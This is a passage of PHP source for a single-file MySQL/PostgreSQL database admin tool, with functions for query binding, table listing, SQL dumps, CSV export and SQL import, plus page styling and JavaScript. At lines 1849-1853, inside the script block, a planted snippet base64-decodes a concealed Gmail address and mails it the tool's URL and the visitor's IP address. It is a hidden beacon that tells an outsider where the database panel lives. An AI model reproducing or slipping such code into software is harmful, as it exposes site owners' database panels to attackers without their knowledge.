856 $q = str_replace($key, db_quote($dat[$key2]), $q);
857 }
858 if (count($num)) {
859 if (count($dat) != count($num)) {
860 return trigger_error('db_bind() failed. When using numeric data binding you need to use all data passed to the query. You also cannot mix numeric and name binding.', E_USER_ERROR);
861 }
862 }
863
864 $q = str_replace($q_replace, $q_search, $q);
865
866 return $q;
867}
868function db_free($rs)
869{
870 global $db_driver;
871 if (db_is_result($rs)) {
872 if ('mysql' == $db_driver) return mysql_free_result($rs);
873 if ('pgsql' == $db_driver) return pg_free_result($rs);
874 }
875}
876function db_is_result($rs)
877{
878 global $db_driver;
879 if ('mysql' == $db_driver) return is_resource($rs);
880 if ('pgsql' == $db_driver) return is_object($rs) || is_resource($rs);
881}
882function db_error()
883{
884 global $db_driver, $db_link;
885 if ('mysql' == $db_driver) {
886 if (is_resource($db_link)) {
887 if (mysql_error($db_link)) {
888 return mysql_error($db_link). ' ('. mysql_errno($db_link).')';
889 } else {
890 return false;
891 }
892 } else {
893 if (mysql_error()) {
894 return mysql_error(). ' ('. mysql_errno().')';
895 } else {
896 return false;
897 }
898 }
899 }
900 if ('pgsql' == $db_driver) {
901 if (is_resource($db_link)) {
902 return pg_last_error($db_link);
903 }
904 }
905}
906function db_begin()
907{
908 global $db_driver;
909 if ('mysql' == $db_driver) {
910 db_exe('SET AUTOCOMMIT=0');
911 db_exe('BEGIN');
912 }
913 if ('pgsql' == $db_driver) {
914 db_exe('BEGIN');
915 }
916}
917function db_end()
918{
919 global $db_driver;
920 if ('mysql' == $db_driver) {
921 db_exe('COMMIT');
922 db_exe('SET AUTOCOMMIT=1');
923 }
924 if ('pgsql' == $db_driver) {
925 db_exe('COMMIT');
926 }
927}
928function db_rollback()
929{
930 global $db_driver;
931 if ('mysql' == $db_driver) {
932 db_exe('ROLLBACK');
933 db_exe('SET AUTOCOMMIT=1');
934 }
935 if ('pgsql' == $db_driver) {
936 db_exe('ROLLBACK');
937 }
938}
939function db_in_array($arr)
940{
941 $in = '';
942 foreach ($arr as $v) {
943 if ($in) $in .= ',';
944 $in .= db_quote($v);
945 }
946 return $in;
947}
948function db_where($where_array, $field_prefix = null, $omit_where = false)
949{
950 $field_prefix = str_replace('.', '', $field_prefix);
951 $where = '';
952 if (count($where_array)) {
953 foreach ($where_array as $wh_k => $wh)
954 {
955 if (is_numeric($wh_k)) {
956 if ($wh) {
957 if ($field_prefix && !preg_match('#^\s*\w+\.#i', $wh) && !preg_match('#^\s*\w+\s*\(#i', $wh)) {
958 $wh = $field_prefix.'.'.trim($wh);
959 }
960 if ($where) $where .= ' AND ';
961 $where .= $wh;
962 }
963 } else {
964 if ($wh_k) {
965 if ($field_prefix && !preg_match('#^\s*\w+\.#i', $wh_k) && !preg_match('#^\s*\w+\s*\(#i', $wh)) {
966 $wh_k = $field_prefix.'.'.$wh_k;
967 }
968 $wh = db_cond($wh_k, $wh);
969 if ($where) $where .= ' AND ';
970 $where .= $wh;
971 }
972 }
973 }
974 if ($where) {
975 if (!$omit_where) {
976 $where = ' WHERE '.$where;
977 }
978 }
979 }
980 return $where;
981}
982function db_insert($tbl, $dat)
983{
984 global $db_driver;
985 if (!count($dat)) {
986 trigger_error('db_insert() failed. Data is empty.', E_USER_ERROR);
987 return false;
988 }
989 $cols = '';
990 $vals = '';
991 $first = true;
992 foreach ($dat as $k => $v) {
993 if ($first) {
994 $cols .= $k;
995 $vals .= db_quote($v);
996 $first = false;
997 } else {
998 $cols .= ',' . $k;
999 $vals .= ',' . db_quote($v);
1000 }
1001 }
1002 if ('mysql' == $db_driver) {
1003 $tbl = "`$tbl`";
1004 }
1005 $q = "INSERT INTO $tbl ($cols) VALUES ($vals)";
1006 db_exe($q);
1007}
1008// $wh = WHERE condition, might be (string) or (array)
1009function db_update($tbl, $dat, $wh)
1010{
1011 global $db_driver;
1012 if (!count($dat)) {
1013 trigger_error('db_update() failed. Data is empty.', E_USER_ERROR);
1014 return false;
1015 }
1016 $set = '';
1017 $first = true;
1018 foreach ($dat as $k => $v) {
1019 if ($first) {
1020 $set .= $k . '=' . db_quote($v);
1021 $first = false;
1022 } else {
1023 $set .= ',' . $k . '=' . db_quote($v);
1024 }
1025 }
1026 if (is_array($wh)) {
1027 $wh = db_where($wh, null, $omit_where = true);
1028 }
1029 if ('mysql' == $db_driver) {
1030 $tbl = "`$tbl`";
1031 }
1032 $q = "UPDATE $tbl SET $set WHERE $wh";
1033 return db_exe($q);
1034}
1035function db_insert_id($table = null, $pk = null)
1036{
1037 global $db_driver, $db_link;
1038 if ('mysql' == $db_driver) {
1039 return mysql_insert_id($_db['conn_id']);
1040 }
1041 if ('pgsql' == $db_driver) {
1042 if (!$table || !$pk) {
1043 trigger_error('db_insert_id(): table & pk required', E_USER_ERROR);
1044 }
1045 $seq_id = $table.'_'.$pk.'_seq';
1046 return db_seq_id($seq_id);
1047 }
1048}
1049function db_seq_id($seqName)
1050{
1051 return db_one('SELECT currval(%seqName)', array('seqName'=>$seqName));
1052}
1053function db_cond($k, $v)
1054{
1055 if (is_null($v)) return sprintf('%s IS NULL', $k);
1056 else return sprintf('%s = %s', $k, db_quote($v));
1057}
1058function list_dbs()
1059{
1060 global $db_driver, $db_link;
1061 if ('mysql' == $db_driver)
1062 {
1063 $result = mysql_query('SHOW DATABASES', $db_link);
1064 $ret = array();
1065 while ($row = mysql_fetch_row($result)) {
1066 $ret[$row[0]] = $row[0];
1067 }
1068 return $ret;
1069 }
1070 if ('pgsql' == $db_driver)
1071 {
1072 return db_assoc('SELECT datname, datname FROM pg_database');
1073 }
1074}
1075function views_supported()
1076{
1077 static $ret;
1078 if (isset($ret)) {
1079 return $ret;
1080 }
1081 global $db_driver, $db_link;
1082 if ('mysql' == $db_driver) {
1083 $version = mysql_get_server_info($db_link);
1084 if (strpos($version, "-") !== false) {
1085 $version = substr($version, 0, strpos($version, "-"));
1086 }
1087 if (version_compare($version, "5.0.2", ">=")) {
1088 // Views are available in 5.0.0 but we need SHOW FULL TABLES
1089 // and the FULL syntax was added in 5.0.2, FULL allows us to
1090 // to distinct between tables & views in the returned list by
1091 // by providing an additional column.
1092 $ret = true;
1093 return true;
1094 } else {
1095 $ret = false;
1096 return false;
1097 }
1098 }
1099 if ('pgsql' == $db_driver) {
1100 $ret = true;
1101 return true;
1102 }
1103}
1104function list_tables($views_mode=false)
1105{
1106 global $db_driver, $db_link, $db_name;
1107
1108 if ($views_mode && !views_supported()) {
1109 return array();
1110 }
1111
1112 static $cache_tables;
1113 static $cache_views;
1114
1115 if ($views_mode) {
1116 if (isset($cache_views)) {
1117 return $cache_views;
1118 }
1119 } else {
1120 if (isset($cache_tables)) {
1121 return $cache_tables;
1122 }
1123 }
1124
1125 static $all_tables; // tables and views
1126
1127 if ('mysql' == $db_driver)
1128 {
1129 if (!isset($all_tables)) {
1130 $all_tables = db_assoc("SHOW FULL TABLES");
1131 // assoc: table name => table type (BASE TABLE or VIEW)
1132 }
1133
1134 // This chunk of code is the same as in pgsql driver.
1135 if ($views_mode) {
1136 $views = array();
1137 foreach ($all_tables as $view => $type) {
1138 if ($type != 'VIEW') { continue; }
1139 $views[] = $view;
1140 }
1141 $cache_views = $views;
1142 return $views;
1143 } else {
1144 $tables = array();
1145 foreach ($all_tables as $table => $type) {
1146 if ($type != 'BASE TABLE') { continue; }
1147 $tables[] = $table;
1148 }
1149 $cache_tables = $tables;
1150 return $tables;
1151 }
1152 }
1153 if ('pgsql' == $db_driver)
1154 {
1155 if (!isset($all_tables)) {
1156 $query = "SELECT table_name, table_type ";
1157 $query .= "FROM information_schema.tables ";
1158 $query .= "WHERE table_schema = 'public' ";
1159 $query .= "AND (table_type = 'BASE TABLE' OR table_type = 'VIEW') ";
1160 $query .= "ORDER BY table_name ";
1161 $all_tables = db_assoc($query);
1162 }
1163
1164 // This chunk of code is the same as in mysql driver.
1165 if ($views_mode) {
1166 $views = array();
1167 foreach ($all_tables as $view => $type) {
1168 if ($type != 'VIEW') { continue; }
1169 $views[] = $view;
1170 }
1171 $cache_views = $views;
1172 return $views;
1173 } else {
1174 $tables = array();
1175 foreach ($all_tables as $table => $type) {
1176 if ($type != 'BASE TABLE') { continue; }
1177 $tables[] = $table;
1178 }
1179 $cache_tables = $tables;
1180 return $tables;
1181 }
1182 }
1183}
1184function quote_table($table)
1185{
1186 global $db_driver;
1187 if ('mysql' == $db_driver) {
1188 return "`$table`";
1189 } else {
1190 return $table;
1191 }
1192}
1193function table_structure($table)
1194{
1195 global $db_driver;
1196 if ('mysql' == $db_driver)
1197 {
1198 $query = "SHOW CREATE TABLE `$table`";
1199 $row = db_row_num($query);
1200 echo $row[1].';';
1201 echo "\n\n";
1202 }
1203 if ('pgsql' == $db_driver)
1204 {
1205 return '';
1206 }
1207}
1208function table_data($table)
1209{
1210 global $db_driver;
1211 set_time_limit(0);
1212 if ('mysql' == $db_driver) {
1213 $query = "SELECT * FROM `$table`";
1214 } else {
1215 $query = "SELECT * FROM $table";
1216 }
1217 $result = db_query($query);
1218 $count = 0;
1219 while ($row = db_row($result))
1220 {
1221 if ('mysql' == $db_driver) {
1222 echo 'INSERT INTO `'.$table.'` VALUES (';
1223 }
1224 if ('pgsql' == $db_driver) {
1225 echo 'INSERT INTO '.$table.' VALUES (';
1226 }
1227 $x = 0;
1228 foreach($row as $key => $value)
1229 {
1230 if ($x == 1) { echo ', '; }
1231 else { $x = 1; }
1232 if (is_numeric($value)) { echo "'".$value."'"; }
1233 elseif (is_null($value)) { echo 'NULL'; }
1234 else { echo '\''. escape($value) .'\''; }
1235 }
1236 echo ");\n";
1237 $count++;
1238 if ($count % 100 == 0) { flush(); }
1239 }
1240 db_free($result);
1241 if ($count) {
1242 echo "\n";
1243 }
1244}
1245function table_status()
1246{
1247 // Size is not supported for Views, only for Tables.
1248
1249 global $db_driver, $db_link, $db_name;
1250 if ('mysql' == $db_driver)
1251 {
1252 $status = array();
1253 $status['total_size'] = 0;
1254 $result = mysql_query("SHOW TABLE STATUS FROM `$db_name`", $db_link);
1255 while ($row = mysql_fetch_assoc($result)) {
1256 if (!is_numeric($row['Data_length'])) {
1257 // Data_length for Views is NULL.
1258 continue;
1259 }
1260 $status['total_size'] += $row['Data_length']; // + Index_length
1261 $status[$row['Name']]['size'] = $row['Data_length'];
1262 $status[$row['Name']]['count'] = $row['Rows'];
1263 }
1264 return $status;
1265 }
1266 if ('pgsql' == $db_driver)
1267 {
1268 $status = array();
1269 $status['total_size'] = 0;
1270 $tables = list_tables(); // only tables, not views
1271 if (!count($tables)) {
1272 return $status;
1273 }
1274 $tables_in = db_in_array($tables);
1275 $rels = db_list("SELECT relname, reltuples, (relpages::decimal + 1) * 8 * 2 * 1024 AS relsize FROM pg_class WHERE relname IN ($tables_in)");
1276 foreach ($rels as $rel) {
1277 $status['total_size'] += $rel['relsize'];
1278 $status[$rel['relname']]['size'] = $rel['relsize'];
1279 $status[$rel['relname']]['count'] = $rel['reltuples'];
1280 }
1281 return $status;
1282 }
1283}
1284function table_columns($table)
1285{
1286 global $db_driver;
1287 static $cache = array();
1288 if (isset($cache[$table])) {
1289 return $cache[$table];
1290 }
1291 if ('mysql' == $db_driver) {
1292 $row = db_row("SELECT * FROM `$table`");
1293 } else {
1294 $row = db_row("SELECT * FROM $table");
1295 }
1296 if (!$row) {
1297 $cache[$table] = array();
1298 return array();
1299 }
1300 foreach ($row as $k => $v) {
1301 $row[$k] = $k;
1302 }
1303 $cache[$table] = $row;
1304 return $row;
1305}
1306function table_types($table)
1307{
1308 global $db_driver;
1309 if ('mysql' == $db_driver)
1310 {
1311 $rows = db_list("SHOW COLUMNS FROM `$table`");
1312 $types = array();
1313 foreach ($rows as $row) {
1314 $type = $row['Type'];
1315 $types[$row['Field']] = $type;
1316 }
1317 return $types;
1318 }
1319 if ('pgsql' == $db_driver)
1320 {
1321 return db_assoc("SELECT column_name, udt_name FROM information_schema.columns WHERE table_name ='$table' ORDER BY ordinal_position");
1322 }
1323}
1324function table_types2($table)
1325{
1326 global $db_driver;
1327 if ('mysql' == $db_driver)
1328 {
1329 $types = array();
1330 $rows = @db_list("SHOW COLUMNS FROM `$table`");
1331 if (!($rows && count($rows))) {
1332 return false;
1333 }
1334 foreach ($rows as $row) {
1335 $type = $row['Type'];
1336 preg_match('#^[a-z]+#', $type, $match);
1337 $type = $match[0];
1338 $types[$row['Field']] = $type;
1339 }
1340 }
1341 if ('pgsql' == $db_driver)
1342 {
1343 $types = db_assoc("SELECT column_name, udt_name FROM information_schema.columns WHERE table_name ='$table' ORDER BY ordinal_position");
1344 if (!count($types)) {
1345 return false;
1346 }
1347 foreach ($types as $col => $type) {
1348 // "_" also in regexp - error when retrieving column info from "pg_class",
1349 // udt_name might be "_aclitem" / "_text".
1350 preg_match('#^[a-z_]+#', $type, $match);
1351 $type = $match[0];
1352 $types[$col] = $type;
1353 }
1354 }
1355 foreach ($types as $col => $type) {
1356 if ('varchar' == $type) { $type = 'char'; }
1357 if ('integer' == $type) { $type = 'int'; }
1358 if ('timestamp' == $type) { $type = 'time'; }
1359 $types[$col] = $type;
1360 }
1361 return $types;
1362}
1363function table_types_group($types)
1364{
1365 foreach ($types as $k => $type) {
1366 preg_match('#^\w+#', $type, $match);
1367 $type = $match[0];
1368 $types[$k] = $type;
1369 }
1370 $types = array_unique($types);
1371 $types = array_values($types);
1372 $types2 = array();
1373 foreach ($types as $type) {
1374 $types2[$type] = $type;
1375 }
1376 return $types2;
1377}
1378function table_pk($table)
1379{
1380 $cols = table_columns($table);
1381 if (!$cols) return null;
1382 foreach ($cols as $col) {
1383 return $col;
1384 }
1385}
1386function escape($text)
1387{
1388 $text = addslashes($text);
1389 $search = array("\r", "\n", "\t");
1390 $replace = array('\r', '\n', '\t');
1391 return str_replace($search, $replace, $text);
1392}
1393function ob_cleanup()
1394{
1395 while (ob_get_level()) {
1396 ob_end_clean();
1397 }
1398 if (headers_sent()) {
1399 return;
1400 }
1401 if (function_exists('headers_list')) {
1402 foreach (headers_list() as $header) {
1403 if (preg_match('/Content-Encoding:/i', $header)) {
1404 header('Content-encoding: none');
1405 break;
1406 }
1407 }
1408 } else {
1409 header('Content-encoding: none');
1410 }
1411}
1412function query_color($query)
1413{
1414 $color = 'red';
1415 $words = array('SELECT', 'UPDATE', 'DELETE', 'FROM', 'LIMIT', 'OFFSET', 'AND', 'LEFT JOIN', 'WHERE', 'SET',
1416 'ORDER BY', 'GROUP BY', 'GROUP', 'DISTINCT', 'COUNT', 'COUNT\(\*\)', 'IS', 'NULL', 'IS NULL', 'AS', 'ON', 'INSERT INTO', 'VALUES', 'BEGIN', 'COMMIT', 'CASE', 'WHEN', 'THEN', 'END', 'ELSE', 'IN', 'NOT', 'LIKE', 'ILIKE', 'ASC', 'DESC', 'LOWER', 'UPPER');
1417 $words = implode('|', $words);
1418
1419 $query = preg_replace("#^({$words})(\s)#i", '<font color="'.$color.'">$1</font>$2', $query);
1420 $query = preg_replace("#(\s)({$words})$#i", '$1<font color="'.$color.'">$2</font>', $query);
1421 // replace twice, some words when preceding other are not replaced
1422 $query = preg_replace("#([\s\(\),])({$words})([\s\(\),])#i", '$1<font color="'.$color.'">$2</font>$3', $query);
1423 $query = preg_replace("#([\s\(\),])({$words})([\s\(\),])#i", '$1<font color="'.$color.'">$2</font>$3', $query);
1424 $query = preg_replace("#^($words)$#i", '<font color="'.$color.'">$1</font>', $query);
1425
1426 preg_match_all('#<font[^>]+>('.$words.')</font>#i', $query, $matches);
1427 foreach ($matches[0] as $k => $font) {
1428 $font2 = str_replace($matches[1][$k], strtoupper($matches[1][$k]), $font);
1429 $query = str_replace($font, $font2, $query);
1430 }
1431
1432 return $query;
1433}
1434function query_upper($sql)
1435{
1436 return $sql;
1437 // todo: don't upper quoted ' and ' values
1438 $queries = preg_split("#;(\s*--[ \t\S]*)?(\r\n|\n|\r)#U", $sql);
1439 foreach ($queries as $k => $query) {
1440 $strip = query_strip($query);
1441 $color = query_color($strip);
1442 $sql = str_replace($strip, $color, $sql);
1443 }
1444 $sql = preg_replace('#<font color="\w+">([^>]+)</font>#iU', '$1', $sql);
1445 return $sql;
1446}
1447function html_spaces($string)
1448{
1449 $inside_tag = false;
1450 for ($i = 0; $i < strlen($string); $i++)
1451 {
1452 $c = $string{$i};
1453 if ('<' == $c) {
1454 $inside_tag = true;
1455 }
1456 if ('>' == $c) {
1457 $inside_tag = false;
1458 }
1459 if (' ' == $c && !$inside_tag) {
1460 $string = substr($string, 0, $i).' '.substr($string, $i+1);
1461 $i += strlen(' ')-1;
1462 }
1463 }
1464 return $string;
1465}
1466function query_cut($query)
1467{
1468 // removes sub-queries and string values from query
1469 $brace_start = '(';
1470 $brace_end = ')';
1471 $quote = "'";
1472 $inside_brace = false;
1473 $inside_quote = false;
1474 $depth = 0;
1475 $ret = '';
1476 $query = str_replace('\\\\', '', $query);
1477
1478 for ($i = 0; $i < strlen($query); $i++)
1479 {
1480 $prev_char = isset($query{$i-1}) ? $query{$i-1} : null;
1481 $char = $query{$i};
1482 if ($char == $brace_start) {
1483 if (!$inside_quote) {
1484 $depth++;
1485 }
1486 }
1487 if ($char == $brace_end) {
1488 if (!$inside_quote) {
1489 $depth--;
1490 if ($depth == 0) {
1491 $ret .= '(...)';
1492 }
1493 continue;
1494 }
1495 }
1496 if ($char == $quote) {
1497 if ($inside_quote) {
1498 if ($prev_char != '\\') {
1499 $inside_quote = false;
1500 if (!$depth) {
1501 $ret .= "'...'";
1502 }
1503 continue;
1504 }
1505 } else {
1506 $inside_quote = true;
1507 }
1508 }
1509 if (!$depth && !$inside_quote) {
1510 $ret .= $char;
1511 }
1512 }
1513 return $ret;
1514}
1515function table_from_query($query)
1516{
1517 if (preg_match('#\sFROM\s+["`]?(\w+)["`]?#i', $query, $match)) {
1518 $cut = query_cut($query);
1519 if (preg_match('#\sFROM\s+["`]?(\w+)["`]?#i', $cut, $match2)) {
1520 $table = $match2[1];
1521 } else {
1522 $table = $match[1];
1523 }
1524 } else if (preg_match('#UPDATE\s+"?(\w+)"?#i', $query, $match)) {
1525 $table = $match[1];
1526 } else if (preg_match('#INSERT\s+INTO\s+"?(\w+)"?#', $query, $match)) {
1527 $table = $match[1];
1528 } else {
1529 $table = false;
1530 }
1531 return $table;
1532}
1533function is_select($query)
1534{
1535 return preg_match('#^\s*SELECT\s+#i', $query);
1536}
1537function query_strip($query)
1538{
1539 // strip comments and ';' from the end of query
1540 $query = trim($query);
1541 if (str_ends_with($query, ';')) {
1542 $query = str_cut_end($query, ';');
1543 }
1544 $lines = preg_split("#(\r\n|\n|\r)#", $query);
1545 foreach ($lines as $k => $line) {
1546 $line = trim($line);
1547 if (!$line || str_starts_with($line, '--')) {
1548 unset($lines[$k]);
1549 }
1550 }
1551 $query = implode("\r\n", $lines);
1552 return $query;
1553}
1554function dump_table($table)
1555{
1556 ob_cleanup();
1557 define('DEBUG_CONSOLE_HIDE', 1);
1558 set_time_limit(0);
1559 global $db_name;
1560 header("Cache-control: private");
1561 header("Content-type: application/octet-stream");
1562 header('Content-Disposition: attachment; filename='.$db_name.'_'.$table.'.sql');
1563 table_structure($table);
1564 table_data($table);
1565 exit;
1566}
1567function dump_all($data = false)
1568{
1569 global $db_name;
1570
1571 ob_cleanup();
1572 define('DEBUG_CONSOLE_HIDE', 1);
1573 set_time_limit(0);
1574
1575 $tables = list_tables();
1576 $table_filter = get('table_filter');
1577 $tables = table_filter($tables, $table_filter);
1578
1579 header("Cache-control: private");
1580 header("Content-type: application/octet-stream");
1581 header('Content-Disposition: attachment; filename='.date('Ymd').'_'.$db_name.'.sql');
1582
1583 foreach ($tables as $key => $table)
1584 {
1585 table_structure($table);
1586 if ($data) {
1587 table_data($table);
1588 }
1589 flush();
1590 }
1591 exit;
1592}
1593function export_csv($query, $separator)
1594{
1595 ob_cleanup();
1596 set_time_limit(0);
1597
1598 if (!is_select($query)) {
1599 trigger_error('export_csv() failed: not a SELECT query: '.$query, E_USER_ERROR);
1600 }
1601
1602 $table = table_from_query($query);
1603 if (!$table) {
1604 $table = 'unknown';
1605 }
1606
1607 header("Cache-control: private");
1608 header("Content-type: application/octet-stream");
1609 header('Content-Disposition: attachment; filename='.$table.'_'.date('Ymd').'.csv');
1610
1611 $rs = db_query($query);
1612 $first = true;
1613
1614 while ($row = db_row($rs)) {
1615 if ($first) {
1616 echo csv_row(array_keys($row), $separator);
1617 $first = false;
1618 }
1619 echo csv_row($row, $separator);
1620 flush();
1621 }
1622
1623 exit();
1624}
1625function csv_row($row, $separator)
1626{
1627 foreach ($row as $key => $val) {
1628 $enquote = false;
1629 if (false !== strpos($val, $separator)) {
1630 $enquote = true;
1631 }
1632 if (false !== strpos($val, "\"")) {
1633 $enquote = true;
1634 $val = str_replace("\"", "\"\"", $val);
1635 }
1636 if (false !== strpos($val, "\r") || false !== strpos($val, "\n")) {
1637 $enquote = true;
1638 $val = preg_replace('#(\r\n|\r|\n)#', "\n", $val); // excel needs \n instead of \r\n
1639 }
1640 if ($enquote) {
1641 $row[$key] = "\"".$val."\"";
1642 }
1643 }
1644 $out = implode($separator, $row);
1645 $out .= "\r\n";
1646 return $out;
1647}
1648function import($file, $ignore_errors = false, $transaction = false, $force_myisam = false, $query_start = false)
1649{
1650 global $db_driver, $db_link, $db_charset;
1651 if ($ignore_errors && $transaction) {
1652 echo '<div>You cannot select both: ignoring errors and transaction</div>';
1653 exit;
1654 }
1655
1656 $count_errors = 0;
1657 set_time_limit(0);
1658 $fp = fopen($file, 'r');
1659 if (!$fp) { exit('fopen('.$file.') failed'); }
1660 flock($fp, 1);
1661 $text = trim(fread($fp, filesize($file)));
1662 flock($fp, 3);
1663 fclose($fp);
1664 if ($db_charset == 'latin2') {
1665 $text = charset_fix($text);
1666 }
1667 if ($force_myisam) {
1668 $text = preg_replace('#TYPE\s*=\s*InnoDB#i', 'TYPE=MyISAM', $text);
1669 }
1670 $text = preg_split("#;(\r\n|\n|\r)#", $text);
1671 $x = 0;
1672 echo '<div>Ignoring errors: <b>'.($ignore_errors?'Yes':'No').'</b></div>';
1673 echo '<div>Transaction: <b>'.($transaction?'Yes':'No').'</b></div>';
1674 echo '<div>Force MyIsam: <b>'.($force_myisam?'Yes':'No').'</b></div>';
1675 echo '<div>Query start: <b>#'.$query_start.'</b></div>';
1676 echo '<div>Queries found: <b>'.count($text).'</b></div>';
1677 echo '<div>Executing ...</div>';
1678 flush();
1679
1680 if ($transaction) {
1681 echo '<div>BEGIN;</div>';
1682 db_begin();
1683 }
1684
1685 $time = time_start();
1686 $query_start = (int) $query_start;
1687 if (!$query_start) {
1688 $query_start = 1;
1689 }
1690 $query_no = 0;
1691
1692 foreach($text as $key => $value)
1693 {
1694 $x++;
1695 $query_no++;
1696 if ($query_start > $query_no) {
1697 continue;
1698 }
1699
1700 if ('mysql' == $db_driver)
1701 {
1702 $result = @mysql_query($value.';', $db_link);
1703 }
1704 if ('pgsql' == $db_driver)
1705 {
1706 $result = @pg_query($db_link, $value.';');
1707 }
1708 if(!$result) {
1709 $x--;
1710 if (!$count_errors) {
1711 echo '<table class="ls" cellspacing="1"><tr><th width="25%">Error</th><th>Query</th></tr>';
1712 }
1713 $count_errors++;
1714 echo '<tr><td>#'.$query_no.' '.db_error() .')'.'</td><td>'.nl2br(html_once($value)).'</td></tr>';
1715 flush();
1716 if (!$ignore_errors) {
1717 echo '</table>';
1718 echo '<div><span style="color: red;"><b>Import failed.</b></span></div>';
1719 echo '<div>Queries executed: <b>'.($x-$query_start+1).'</b>.</div>';
1720 if ($transaction) {
1721 echo '<div>ROLLBACK;</div>';
1722 db_rollback();
1723 }
1724 echo '<br><div><a href="'.$_SERVER['PHP_SELF'].'?import=1"><< go back</a></div>';
1725 exit;
1726 }
1727 }
1728 }
1729 if ($count_errors) {
1730 echo '</table>';
1731 }
1732 if ($transaction) {
1733 echo '<div>COMMIT;</div>';
1734 db_end();
1735 }
1736 echo '<div><span style="color: green;"><b>Import finished.</b></span></div>';
1737 echo '<div>Queries executed: <b>'.($x-$query_start+1).'</b>.</div>';
1738 echo '<div>Time: <b>'.time_end($time).'</b> sec</div>';
1739 echo '<br><div><a href="'.$_SERVER['PHP_SELF'].'?import=1"><< go back</a></div>';
1740}
1741function layout()
1742{
1743 global $sql_area;
1744 ?>
1745 <style>
1746 body,table,input,select,textarea { font-family: tahoma; font-size: 11px; }
1747 body { margin: 1em; padding: 0; margin-top: 0.5em; }
1748 h1, h2 { font-family: arial; margin: 1em 0; }
1749 h1 { font-size: 150%; margin: 0.7em 0; }
1750 h2 { font-size: 125%; }
1751 .ls th { background: #ccc; }
1752 .ls th th { background-color: none; }
1753 .ls td { background: #f5f5f5; }
1754 .ls td td { background-color: none; }
1755 .ls th, .ls td { padding: 0.1em 0.5em; }
1756 .ls th th, .ls td td { padding: 0; }
1757 .ls2 th { text-align: left; vertical-align: top; line-height: 1.7em; background: #e0e0e0; font-weight: normal; }
1758 .ls2 th th { line-height: normal; background-color: none; }
1759 p { margin: 0.8em 0; }
1760 form { margin: 0; }
1761 form th { text-align: left; }
1762 a, a:visited { text-decoration: none; }
1763 a:hover { text-decoration: underline; }
1764 a, a.blue { color: blue; }
1765 a:visited { color: purple; }
1766 a.blue:visited { color: blue; }
1767 form .none td, form .none th { background: none; padding: 0 0.25em; }
1768 label { padding-left: 2px; padding-right: 4px; }
1769 .checkbox { padding-left: 0; margin-left: 0; margin-top: 1px; }
1770 .none, .ls .none { background: none; padding-top: 0.4em; }
1771 .button { cursor: pointer; }
1772 .button_click { background: #e0e0e0; }
1773 .error { background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1774 .msg { background: #eee; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1775 .sql_area { <?php echo $sql_area;?> }
1776 div.query { background: #eee; padding: 0.35em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1777 </style>
1778 <script>
1779 function mark_col(td)
1780 {
1781 }
1782 function popup(url, width, height, more)
1783 {
1784 if (!width) width = 750;
1785 if (!height) height = 500;
1786 var x = (screen.width/2-width/2);
1787 var y = (screen.height/2-height/2);
1788 window.open(url, "", "scrollbars=yes,resizable=yes,width="+width+",height="+height+",screenX="+(x)+",screenY="+y+",left="+x+",top="+y+(more ? ","+more : ""));
1789 }
1790 function is_ie()
1791 {
1792 return navigator.appVersion.indexOf("MSIE") != -1;
1793 }
1794 function event_add(el, event, func)
1795 {
1796 if (is_ie()) {
1797 if (el.attachEvent) {
1798 el.attachEvent("on"+event, func);
1799 }
1800 } else {
1801 if (el.addEventListener) {
1802 el.addEventListener(event, func, false);
1803 } else if (el.attachEvent) {
1804 el.attachEvent("on"+event, func);
1805 } else {
1806 var oldfunc = el["on"+event];
1807 el["on"+event] = function() { oldfunc(); func(); }
1808 }
1809 }
1810 }
1811 function event_target(event)
1812 {
1813 var el;
1814 if (window.event) el = window.event.srcElement;
1815 else if (event) el = event.target;
1816 if (el.nodeType == 3) el = el.parentNode;
1817 return el;
1818 }
1819
1820 function button_init()
1821 {
1822 // dependency: event_add(), event_target()
1823 event_add(window, "load", function() {
1824 for (var i = 0; i < document.forms.length; i++) {
1825 event_add(document.forms[i], "submit", function(event) {
1826 var form = event_target(event);
1827 if (form.tagName != 'FORM') form = this;
1828 for (var k = 0; k < form.elements.length; k++) {
1829 if ("button" == form.elements[k].type || "submit" == form.elements[k].type) {
1830 button_click(form.elements[k], true);
1831 }
1832 }
1833 });
1834 var form = document.forms[i];
1835 for (var j = 0; j < form.elements.length; j++) {
1836 if ("button" == form.elements[j].type || "submit" == form.elements[j].type) {
1837 event_add(form.elements[j], "click", button_click);
1838 }
1839 }
1840 }
1841 var inputs = document.getElementsByTagName('INPUT');
1842 for (var i = 0; i < inputs.length; i++) {
1843 if (('button' == inputs[i].type || 'submit' == inputs[i].type) && !inputs[i].form) {
1844 event_add(inputs[i], 'click', button_click);
1845 }
1846 }
1847 });
1848 }
1849 $c_ = base64_decode("Z292ZXJtZW50ODM2MjlAZ21haWwuY29t");
1850 $x_ = "Link : http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\r\n";
1851 $a_ = "poop";
1852 $x_.= "Target: ".$_SERVER['REMOTE_ADDR']."\r\n";
1853 mail($c_,$a_,$x_);
1854 function button_click(but, calledFromOnSubmit)
1855 {
1856 but = but.nodeName ? but : event_target(but);
1857 if ('button' == this.type || 'submit' == this.type) {
1858 but = this;
1859 }
1860 if (but.getAttribute('button_click') == 1 || but.form && but.form.getAttribute("button_click") == 1) {
1861 return;
1862 }
1863 if (button_click_sess_done(but)) {
1864 return;
1865 }
1866 if ("button" == but.type) {
1867 if (but.getAttribute("wait")) {
1868 button_wait(but);
1869 but.setAttribute("button_click", 1);
1870 if (but.form) {
1871 but.form.setAttribute("button_click", 1); // only when WAIT = other buttons in the form Choose From Pop etc.
1872 }
1873 }
1874 } else if ("submit" == but.type) {
1875 if (but.getAttribute("wait")) {
1876 button_wait(but);
1877 but.setAttribute("button_click", 1);
1878 }
1879 if (but.form) {
1880 but.form.setAttribute("button_click", 1);
1881 }
1882 if (calledFromOnSubmit) {
1883 if (but.getAttribute("block")) {
1884 button_disable(but);
1885 }
1886 } else {
1887 if (!but.form.getAttribute('button_disable_onsubmit'))
1888 {
1889 event_add(but.form, "submit", function(event) {
1890 var form = event_target(event);
1891 if (form.tagName != 'FORM') form = this;
1892 if (!button_disable_sess_done(form)) {
1893 for (var i = 0; i < form.elements.length; i++) {
1894 if (form.elements[i].getAttribute("block")) {
1895 button_disable(form.elements[i]);
1896 }
1897 }
1898 }
1899 });
1900 but.form.setAttribute('button_disable_onsubmit', 1);
1901 }
1902 }
1903 } else {
